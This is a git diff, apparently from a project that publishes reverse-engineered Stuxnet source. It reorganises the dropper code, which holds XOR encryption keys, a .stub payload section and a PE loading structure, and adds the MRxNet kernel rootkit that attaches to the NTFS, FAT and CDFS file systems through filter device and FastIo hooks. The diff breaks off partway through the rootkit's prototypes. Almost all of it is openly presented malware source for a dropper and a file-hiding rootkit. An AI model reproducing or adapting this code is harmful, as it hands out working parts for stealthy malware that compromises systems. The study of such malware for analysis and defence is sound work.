header - + return TRUE; } \ No newline at end of file diff --git a/STUBHandler.h b/Dropper/STUBHandler.h similarity index 100% rename from STUBHandler.h rename to Dropper/STUBHandler.h diff --git a/Utils.c b/Dropper/Utils.c similarity index 100% rename from Utils.c rename to Dropper/Utils.c diff --git a/Utils.h b/Dropper/Utils.h similarity index 100% rename from Utils.h rename to Dropper/Utils.h diff --git a/data.c b/Dropper/data.c similarity index 100% rename from data.c rename to Dropper/data.c diff --git a/Dropper/data.h b/Dropper/data.h new file mode 100644 index 0000000..c66bede --- /dev/null +++ b/Dropper/data.h @@ -0,0 +1,41 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ + +#ifndef CONFIG_H +#define CONFIG_H + +#include "stdafx.h" + +// Various keys +#define X_CORE_KEY (BYTE )0x96 // Core XOR encryption key +#define X_PTR_KEY (DWORD)0xAE1979DD // Pointer XOR key +#define X_STRING_KEY (WORD )0xAE12 // String XOR encryption key + +// Module encryption config +#define X_SIGNATURE (DWORD)0xAE39120D // Signature located before the header +#define X_SECTION_NAME ".stub" // Section name where the module is located + +// Module activation config +#define ENTRY_FUNC (LPCSTR)15 // Module's function to call in order to activate the main routine + +// Macro for debug print +#ifdef _DEBUG +# define DEBUG_P(s) { OutputDebugString(TEXT(s"\n")); } +#else +# define DEBUG_P(s) +#endif // DEBUG + +#endif // CONFIG_H \ No newline at end of file diff --git a/define.h b/Dropper/define.h similarity index 53% rename from define.h rename to Dropper/define.h index af5efaa..d123b0c 100644 --- a/define.h +++ b/Dropper/define.h @@ -1,5 +1,5 @@ /****************************************************************************************** - Copyright 2012-2013 Christian Roggia + Copyright (C) 2012-2014 Christian Roggia Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. @@ -17,80 +17,46 @@ #ifndef DEFINE_H #define DEFINE_H -#include +#include "stdafx.h" -#define _QWORD UINT64 -#define _DWORD UINT32 -#define _WORD USHORT -#define _BYTE UCHAR -#define bool BOOL +#define IMAGE_NT(h) (PIMAGE_NT_HEADERS)(((PIMAGE_DOS_HEADER)h)->e_lfanew + (DWORD)h) +#define SECTION_TABLE(h) (PIMAGE_SECTION_HEADER)((DWORD)h + h->FileHeader.SizeOfOptionalHeader + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD)) -#define __usercall _cdecl -#define __thiscall _cdecl // (?) +#define HAS_FAILED(v, r) { if(v) return (r); } +#define _SIZE(x, y) (DWORD)((DWORD)x - (DWORD)y) -#define NTSTATUS ULONG -#define STATUS_SUCCESS 0x00000000 -#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 -#define STATUS_ACCESS_DENIED 0xC0000022 -#define STATUS_BUFFER_OVERFLOW 0x80000005 -#define STATUS_CONFLICTING_ADDRESSES 0xC0000018 - -typedef struct _UNICODE_STRING { - USHORT Length; - USHORT MaximumLength; - PWSTR Buffer; -} UNICODE_STRING, *PUNICODE_STRING; - -typedef struct _OBJECT_ATTRIBUTES { - ULONG Length; - HANDLE RootDirectory; - UNICODE_STRING *ObjectName; - ULONG Attributes; - PVOID SecurityDescriptor; - PVOID SecurityQualityOfService; -} OBJECT_ATTRIBUTES; - -#define POBJECT_ATTRIBUTES OBJECT_ATTRIBUTES* - -typedef enum _SECTION_INHERIT -{ - ViewShare = 1, - ViewUnmap = 2 -} SECTION_INHERIT; - -typedef void (*__tLibraryExecEntry)(DWORD, INT32); -typedef NTSTATUS (*__tAlignAddresses)(PIMAGE_DOS_HEADER *); - -typedef struct _GENERAL_INFO_BLOCK { - DWORD OriginalAddress; - UINT32 UnknownZero0; - HANDLE MappedAddress; - DWORD AlignAddressesFunction; - WCHAR RandomLibraryName[32]; - UINT32 AbsoluteEntryPoint; - UINT32 UnknownZero1; - UINT32 SizeOfStackReserve; - UINT32 SizeOfStackCommit; - UINT32 Subsystem; - UINT16 MinorSubsystemVersion; - UINT16 MajorSubsystemVersion; - UINT32 UnknownZero2; - UINT16 Charactersitics; - UINT16 DllCharacteristics; - UINT16 Machine; - UINT8 UnknownOne; - UINT8 UnknownFour; - UINT32 LoaderFlags; - UINT32 VirusModuleSize; - UINT32 UnknownZero3; -} GENERAL_INFO_BLOCK, *PGENERAL_INFO_BLOCK; +// Return Global Encoded Function Pointer +#define _FUNC(s) g_hardAddrs.##s #define MZ_HEADER 0x5A4D #define PE_HEADER 0x4550 -#define _SIZE(x, y) (UINT32)((UINT32)x - (UINT32)y) +typedef void (*__tLibraryExecEntry)(LPVOID, INT32); +typedef NTSTATUS (*__tAlignAddresses)(PIMAGE_DOS_HEADER *); -#define XADDR_KEY 0xAE1979DD +typedef struct _GENERAL_INFO_BLOCK { + DWORD OriginalAddress; + DWORD UnknownZero0; + HANDLE MappedAddress; + DWORD AlignAddressesFunction; + WCHAR RandomLibraryName[32]; + DWORD AbsoluteEntryPoint; + DWORD UnknownZero1; + DWORD SizeOfStackReserve; + DWORD SizeOfStackCommit; + DWORD Subsystem; + WORD MinorSubsystemVersion; + WORD MajorSubsystemVersion; + DWORD UnknownZero2; + WORD Charactersitics; + WORD DllCharacteristics; + WORD Machine; + BYTE UnknownOne; + BYTE UnknownFour; + DWORD LoaderFlags; + DWORD VirusModuleSize; + DWORD UnknownZero3; +} GENERAL_INFO_BLOCK, *PGENERAL_INFO_BLOCK; typedef struct _SECTION_SEGEMENT_INFO { DWORD SegmentAddress; diff --git a/Dropper/stdafx.h b/Dropper/stdafx.h new file mode 100644 index 0000000..34222c0 --- /dev/null +++ b/Dropper/stdafx.h @@ -0,0 +1,17 @@ +#include + +#define _QWORD UINT64 +#define _DWORD UINT32 +#define _WORD USHORT +#define _BYTE UCHAR +#define bool BOOL + +#define __usercall _cdecl +#define __thiscall _cdecl // (?) + +#define NTSTATUS ULONG +#define STATUS_SUCCESS 0x00000000 +#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 +#define STATUS_ACCESS_DENIED 0xC0000022 +#define STATUS_BUFFER_OVERFLOW 0x80000005 +#define STATUS_CONFLICTING_ADDRESSES 0xC0000018 diff --git a/Rootkit/FastIo.c b/Rootkit/FastIo.c new file mode 100644 index 0000000..6a11d41 --- /dev/null +++ b/Rootkit/FastIo.c @@ -0,0 +1,640 @@ +/*++ + + Copyright (C) 2010-2011 Amr Thabet + +Module Name: + + FastIo.c + +Abstract: + + This Module Contain The reversed MRxNet rootkit dropped by Stuxnet worm. + This File For The FastIoDispatch Routines + +Licence: + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to Amr Thabet + amr.thabet@student.alx.edu.eg + +Environment: + + Kernel mode + +--*/ + +//Decleration +//------------ + +#include + +typedef struct _DEVICE_EXTENSION +{ + PDEVICE_OBJECT AttachedDevice; + PETHREAD pThreadObj; + +}_DEVICE_EXTENSION, *PDEVICE_EXTENSION; +PDEVICE_OBJECT DeviceObject; + +//Data: +//----- + +extern FAST_IO_DISPATCH g_fastIoDispatch; +extern PDRIVER_OBJECT DriverObject; + +/**------------------------------------------------------------------- + + SetFastIoDispatch + +----------------------------------------------------------------------**/ + + +PFAST_IO_DISPATCH GetNextIODispatch (PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT* nextDeviceObject) +{ + if (DeviceObject == 0 || DeviceObject->DeviceExtension == 0)return 0; + *nextDeviceObject = ((PDEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedDevice; + return (*nextDeviceObject)->DriverObject->FastIoDispatch; +} + +BOOLEAN FsFilterFastIoCheckIfPossible( + __in PFILE_OBJECT FileObject, + __in PLARGE_INTEGER FileOffset, + __in ULONG Length, + __in BOOLEAN Wait, + __in ULONG LockKey, + __in BOOLEAN CheckForReadOperation, + __out PIO_STATUS_BLOCK IoStatus, + __in PDEVICE_OBJECT DeviceObject + ) +{ + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 8 || NextFastIoDispatch->FastIoCheckIfPossible == 0){ + return 0; + }; + return (NextFastIoDispatch->FastIoCheckIfPossible)( + FileObject, + FileOffset, + Length, + Wait, + LockKey, + CheckForReadOperation, + IoStatus, + nextDeviceObject); +}; + + +BOOLEAN FsFilterFastIoRead( + __in PFILE_OBJECT FileObject, + __in PLARGE_INTEGER FileOffset, + __in ULONG Length, + __in BOOLEAN Wait, + __in ULONG LockKey, + __out PVOID Buffer, + __out PIO_STATUS_BLOCK IoStatus, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0xC || NextFastIoDispatch->FastIoRead == 0){ + return FALSE; + }; + return (NextFastIoDispatch->FastIoRead)( + FileObject, + FileOffset, + Length, + Wait, + LockKey, + Buffer, + IoStatus, + nextDeviceObject); +} + +BOOLEAN FsFilterFastIoWrite( + __in PFILE_OBJECT FileObject, + __in PLARGE_INTEGER FileOffset, + __in ULONG Length, + __in BOOLEAN Wait, + __in ULONG LockKey, + __in PVOID Buffer, + __out PIO_STATUS_BLOCK IoStatus, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x10 || NextFastIoDispatch->FastIoWrite == 0){ + return FALSE; + }; + return (NextFastIoDispatch->FastIoWrite)( + FileObject, + FileOffset, + Length, + Wait, + LockKey, + Buffer, + IoStatus, + nextDeviceObject); +} + +BOOLEAN FsFilterFastIoQueryBasicInfo( + __in PFILE_OBJECT FileObject, + __in BOOLEAN Wait, + __out PFILE_BASIC_INFORMATION Buffer, + __out PIO_STATUS_BLOCK IoStatus, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x14 || NextFastIoDispatch->FastIoQueryBasicInfo == 0){ + return FALSE; + }; + + return (NextFastIoDispatch->FastIoQueryBasicInfo)( + FileObject, + Wait, + Buffer, + IoStatus, + nextDeviceObject); + +} + +BOOLEAN FsFilterFastIoQueryStandardInfo( + __in PFILE_OBJECT FileObject, + __in BOOLEAN Wait, + __out PFILE_STANDARD_INFORMATION Buffer, + __out PIO_STATUS_BLOCK IoStatus, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x18 || NextFastIoDispatch->FastIoQueryStandardInfo == 0){ + return FALSE; + }; + return (NextFastIoDispatch->FastIoQueryStandardInfo)( + FileObject, + Wait, + Buffer, + IoStatus, + nextDeviceObject); +} + +BOOLEAN FsFilterFastIoLock( + __in PFILE_OBJECT FileObject, + __in PLARGE_INTEGER FileOffset, + __in PLARGE_INTEGER Length, + __in PEPROCESS ProcessId, + __in ULONG Key, + __in BOOLEAN FailImmediately, + __in BOOLEAN ExclusiveLock, + __out PIO_STATUS_BLOCK IoStatus, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x1C || NextFastIoDispatch->FastIoLock == 0){ + return FALSE; + }; + return (NextFastIoDispatch->FastIoLock)( + FileObject, + FileOffset, + Length, + ProcessId, + Key, + FailImmediately, + ExclusiveLock, + IoStatus, + nextDeviceObject); +} + +BOOLEAN FsFilterFastIoUnlockSingle( + __in PFILE_OBJECT FileObject, + __in PLARGE_INTEGER FileOffset, + __in PLARGE_INTEGER Length, + __in PEPROCESS ProcessId, + __in ULONG Key, + __out PIO_STATUS_BLOCK IoStatus, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x20 || NextFastIoDispatch->FastIoUnlockSingle == 0){ + return FALSE; + }; + return (NextFastIoDispatch->FastIoUnlockSingle)( + FileObject, + FileOffset, + Length, + ProcessId, + Key, + IoStatus, + nextDeviceObject); +} + +BOOLEAN FsFilterFastIoUnlockAll( + __in PFILE_OBJECT FileObject, + __in PEPROCESS ProcessId, + __out PIO_STATUS_BLOCK IoStatus, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x24 || NextFastIoDispatch->FastIoUnlockAll == 0){ + return FALSE; + }; + return (NextFastIoDispatch->FastIoUnlockAll)( + FileObject, + ProcessId, + IoStatus, + nextDeviceObject); +} + +BOOLEAN FsFilterFastIoUnlockAllByKey( + __in PFILE_OBJECT FileObject, + __in PVOID ProcessId, + __in ULONG Key, + __out PIO_STATUS_BLOCK IoStatus, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x28 || NextFastIoDispatch->FastIoUnlockAllByKey == 0){ + return FALSE; + }; + return (NextFastIoDispatch->FastIoUnlockAllByKey)( + FileObject, + ProcessId, + Key, + IoStatus, + nextDeviceObject); +} + +BOOLEAN FsFilterFastIoDeviceControl( + __in PFILE_OBJECT FileObject, + __in BOOLEAN Wait, + __in_opt PVOID InputBuffer, + __in ULONG InputBufferLength, + __out_opt PVOID OutputBuffer, + __in ULONG OutputBufferLength, + __in ULONG IoControlCode, + __out PIO_STATUS_BLOCK IoStatus, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x2C || NextFastIoDispatch->FastIoDeviceControl == 0){ + return FALSE; + }; + return (NextFastIoDispatch->FastIoDeviceControl)( + FileObject, + Wait, + InputBuffer, + InputBufferLength, + OutputBuffer, + OutputBufferLength, + IoControlCode, + IoStatus, + nextDeviceObject); +} + +VOID FsFilterFastIoDetachDevice( + __in PDEVICE_OBJECT SourceDevice, + __in PDEVICE_OBJECT TargetDevice + ) +{ + // + // Detach from the file system's volume device object. + // + + IoDetachDevice(TargetDevice); + IoDeleteDevice(SourceDevice); +} + +BOOLEAN FsFilterFastIoQueryNetworkOpenInfo( + __in PFILE_OBJECT FileObject, + __in BOOLEAN Wait, + __out PFILE_NETWORK_OPEN_INFORMATION Buffer, + __out PIO_STATUS_BLOCK IoStatus, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x3C || NextFastIoDispatch->FastIoQueryNetworkOpenInfo == 0){ + return FALSE; + }; + return (NextFastIoDispatch->FastIoQueryNetworkOpenInfo)( + FileObject, + Wait, + Buffer, + IoStatus, + nextDeviceObject); +} + +BOOLEAN FsFilterFastIoMdlRead( + __in PFILE_OBJECT FileObject, + __in PLARGE_INTEGER FileOffset, + __in ULONG Length, + __in ULONG LockKey, + __out PMDL* MdlChain, + __out PIO_STATUS_BLOCK IoStatus, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x44 || NextFastIoDispatch->MdlRead == 0){ + return FALSE; + }; + return (NextFastIoDispatch->MdlRead)( + FileObject, + FileOffset, + Length, + LockKey, + MdlChain, + IoStatus, + nextDeviceObject); +} + +BOOLEAN FsFilterFastIoMdlReadComplete( + __in PFILE_OBJECT FileObject, + __in PMDL MdlChain, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x48 || NextFastIoDispatch->MdlReadComplete == 0){ + return FALSE; + }; + return (NextFastIoDispatch->MdlReadComplete)( + FileObject, + MdlChain, + nextDeviceObject); + +} + +BOOLEAN FsFilterFastIoPrepareMdlWrite( + __in PFILE_OBJECT FileObject, + __in PLARGE_INTEGER FileOffset, + __in ULONG Length, + __in ULONG LockKey, + __out PMDL* MdlChain, + __out PIO_STATUS_BLOCK IoStatus, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x4C || NextFastIoDispatch->PrepareMdlWrite == 0){ + return FALSE; + }; + return (NextFastIoDispatch->PrepareMdlWrite)( + FileObject, + FileOffset, + Length, + LockKey, + MdlChain, + IoStatus, + nextDeviceObject); + return FALSE; +} + +BOOLEAN FsFilterFastIoMdlWriteComplete( + __in PFILE_OBJECT FileObject, + __in PLARGE_INTEGER FileOffset, + __in PMDL MdlChain, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x50 || NextFastIoDispatch->MdlWriteComplete == 0){ + return FALSE; + }; + return (NextFastIoDispatch->MdlWriteComplete)( + FileObject, + FileOffset, + MdlChain, + nextDeviceObject); +} + +BOOLEAN FsFilterFastIoReadCompressed( + __in PFILE_OBJECT FileObject, + __in PLARGE_INTEGER FileOffset, + __in ULONG Length, + __in ULONG LockKey, + __out PVOID Buffer, + __out PMDL* MdlChain, + __out PIO_STATUS_BLOCK IoStatus, + __out struct _COMPRESSED_DATA_INFO* CompressedDataInfo, + __in ULONG CompressedDataInfoLength, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x54 || NextFastIoDispatch->FastIoReadCompressed == 0){ + return FALSE; + }; + return (NextFastIoDispatch->FastIoReadCompressed)( + FileObject, + FileOffset, + Length, + LockKey, + Buffer, + MdlChain, + IoStatus, + CompressedDataInfo, + CompressedDataInfoLength, + nextDeviceObject); +} + +BOOLEAN FsFilterFastIoWriteCompressed( + __in PFILE_OBJECT FileObject, + __in PLARGE_INTEGER FileOffset, + __in ULONG Length, + __in ULONG LockKey, + __in PVOID Buffer, + __out PMDL* MdlChain, + __out PIO_STATUS_BLOCK IoStatus, + __in struct _COMPRESSED_DATA_INFO* CompressedDataInfo, + __in ULONG CompressedDataInfoLength, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x58 || NextFastIoDispatch->FastIoWriteCompressed == 0){ + return FALSE; + }; + return (NextFastIoDispatch->FastIoWriteCompressed)( + FileObject, + FileOffset, + Length, + LockKey, + Buffer, + MdlChain, + IoStatus, + CompressedDataInfo, + CompressedDataInfoLength, + nextDeviceObject ); + +} + +BOOLEAN FsFilterFastIoMdlReadCompleteCompressed( + __in PFILE_OBJECT FileObject, + __in PMDL MdlChain, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x5C || NextFastIoDispatch->MdlReadCompleteCompressed == 0){ + return FALSE; + }; + return (NextFastIoDispatch->MdlReadCompleteCompressed)( + FileObject, + MdlChain, + nextDeviceObject); + +} + +BOOLEAN FsFilterFastIoMdlWriteCompleteCompressed( + __in PFILE_OBJECT FileObject, + __in PLARGE_INTEGER FileOffset, + __in PMDL MdlChain, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x60 || NextFastIoDispatch->MdlWriteCompleteCompressed == 0){ + return FALSE; + }; + return (NextFastIoDispatch->MdlWriteCompleteCompressed)( + FileObject, + FileOffset, + MdlChain, + nextDeviceObject); + +} + +BOOLEAN FsFilterFastIoQueryOpen( + __in PIRP Irp, + __out PFILE_NETWORK_OPEN_INFORMATION NetworkInformation, + __in PDEVICE_OBJECT DeviceObject + ) +{ + // + // Pass through logic for this type of Fast I/O + // + PDEVICE_OBJECT nextDeviceObject; + PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject); + if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x64 || NextFastIoDispatch->FastIoQueryOpen == 0){ + return FALSE; + }; + return (NextFastIoDispatch->FastIoQueryOpen)( + Irp, + NetworkInformation, + nextDeviceObject); +} + +VOID SetFastIoDispatch(){ + g_fastIoDispatch.SizeOfFastIoDispatch = sizeof(FAST_IO_DISPATCH); + g_fastIoDispatch.FastIoCheckIfPossible = FsFilterFastIoCheckIfPossible; + g_fastIoDispatch.FastIoRead = FsFilterFastIoRead; + g_fastIoDispatch.FastIoWrite = FsFilterFastIoWrite; + g_fastIoDispatch.FastIoQueryBasicInfo = FsFilterFastIoQueryBasicInfo; + g_fastIoDispatch.FastIoQueryStandardInfo = FsFilterFastIoQueryStandardInfo; + g_fastIoDispatch.FastIoLock = FsFilterFastIoLock; + g_fastIoDispatch.FastIoUnlockSingle = FsFilterFastIoUnlockSingle; + g_fastIoDispatch.FastIoUnlockAll = FsFilterFastIoUnlockAll; + g_fastIoDispatch.FastIoUnlockAllByKey = FsFilterFastIoUnlockAllByKey; + g_fastIoDispatch.FastIoDeviceControl = FsFilterFastIoDeviceControl; + g_fastIoDispatch.FastIoDetachDevice = FsFilterFastIoDetachDevice; + g_fastIoDispatch.FastIoQueryNetworkOpenInfo = FsFilterFastIoQueryNetworkOpenInfo; + g_fastIoDispatch.MdlRead = FsFilterFastIoMdlRead; + g_fastIoDispatch.MdlReadComplete = FsFilterFastIoMdlReadComplete; + g_fastIoDispatch.PrepareMdlWrite = FsFilterFastIoPrepareMdlWrite; + g_fastIoDispatch.MdlWriteComplete = FsFilterFastIoMdlWriteComplete; + g_fastIoDispatch.FastIoReadCompressed = FsFilterFastIoReadCompressed; + g_fastIoDispatch.FastIoWriteCompressed = FsFilterFastIoWriteCompressed; + g_fastIoDispatch.MdlReadCompleteCompressed = FsFilterFastIoMdlReadCompleteCompressed; + g_fastIoDispatch.MdlWriteCompleteCompressed = FsFilterFastIoMdlWriteCompleteCompressed; + g_fastIoDispatch.FastIoQueryOpen = FsFilterFastIoQueryOpen; + DriverObject->FastIoDispatch = &g_fastIoDispatch; +}; diff --git a/Rootkit/LICENSE b/Rootkit/LICENSE new file mode 100644 index 0000000..ad8ea52 --- /dev/null +++ b/Rootkit/LICENSE @@ -0,0 +1,15 @@ +Copyright (C) 2010-2011 Amr Thabet + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to Amr Thabet + amr.thabet@student.alx.edu.eg \ No newline at end of file diff --git a/Rootkit/main.c b/Rootkit/main.c new file mode 100644 index 0000000..1397eba --- /dev/null +++ b/Rootkit/main.c @@ -0,0 +1,699 @@ +/*++ + + Copyright (C) 2010-2011 Amr Thabet + +Module Name: + + mrxnet.c + +Abstract: + + This Module Contain The reversed MRxNet rootkit dropped by Stuxnet worm. + +Licence: + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to Amr Thabet + amr.thabet@student.alx.edu.eg + +Environment: + + Kernel mode + +--*/ + +//Decleration +//------------ + +#include + +typedef struct _DEVICE_EXTENSION +{ + PDEVICE_OBJECT AttachedDevice; + PDEVICE_OBJECT RealDevice; //Used in File System Control + +}_DEVICE_EXTENSION, *PDEVICE_EXTENSION; + +extern POBJECT_TYPE* IoDriverObjectType; + +typedef struct +{ + ULONG Object; + PDEVICE_OBJECT DeviceObject; +}ReferencedObject; + + +//Data: +//----- + +FAST_IO_DISPATCH g_fastIoDispatch; +PDRIVER_OBJECT DriverObject; +PDEVICE_OBJECT DeviceObject; +PCWSTR aObreferenceobjectbyname = L"ObReferenceObjectByName"; +PCWSTR FileSystemsArray[3] = { + L"\\FileSystem\\ntfs", + L"\\FileSystem\\fastfat", + L"\\FileSystem\\cdfs", + }; + +PCWSTR BannedDirecoty = L"{58763ECF-8AC3-4a5f-9430-1A310CE4BE0A}"; +PCWSTR DebugMSG = L"b:\\myrtus\\src\\objfre_w2k_x86\\i386\\guava.pdb"; + + +//ProtoTyping: +//------------ + +#define FUNC NTSTATUS (*ObReferenceObjectByNameFunc)(PUNICODE_STRING ObjectName,\ + ULONG Attributes,\ + PACCESS_STATE AccessState,\ + ACCESS_MASK DesiredAccess,\ + POBJECT_TYPE ObjectType,\ + KPROCESSOR_MODE AccessMode,\ + PVOID ParseContext OPTIONAL,\ + PVOID* Object) + +VOID SetFastIoDispatch(); +NTSTATUS HookingFileSystems(); +VOID HookOne(FUNC,PCWSTR FileSystem); +VOID DriverNotificationRoutine(PDEVICE_OBJECT TargetDevice,int command); +VOID AttachDevice(PDEVICE_OBJECT TargetDevice); +BOOLEAN IsAllreadyAttached(PDEVICE_OBJECT TargetDevice); +NTSTATUS CreateDevice(PDEVICE_OBJECT TargetDevice,PDEVICE_OBJECT *SourceDevice); +BOOLEAN IsMyDevice(PDEVICE_OBJECT TargetDevice); +VOID SettingFlags(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice); +BOOLEAN AttachToStack(PDEVICE_OBJECT SourceDevice,PDEVICE_OBJECT TargetDevice,PDEVICE_EXTENSION DeviceExtension); +VOID OnFileSystemControl(PDEVICE_OBJECT 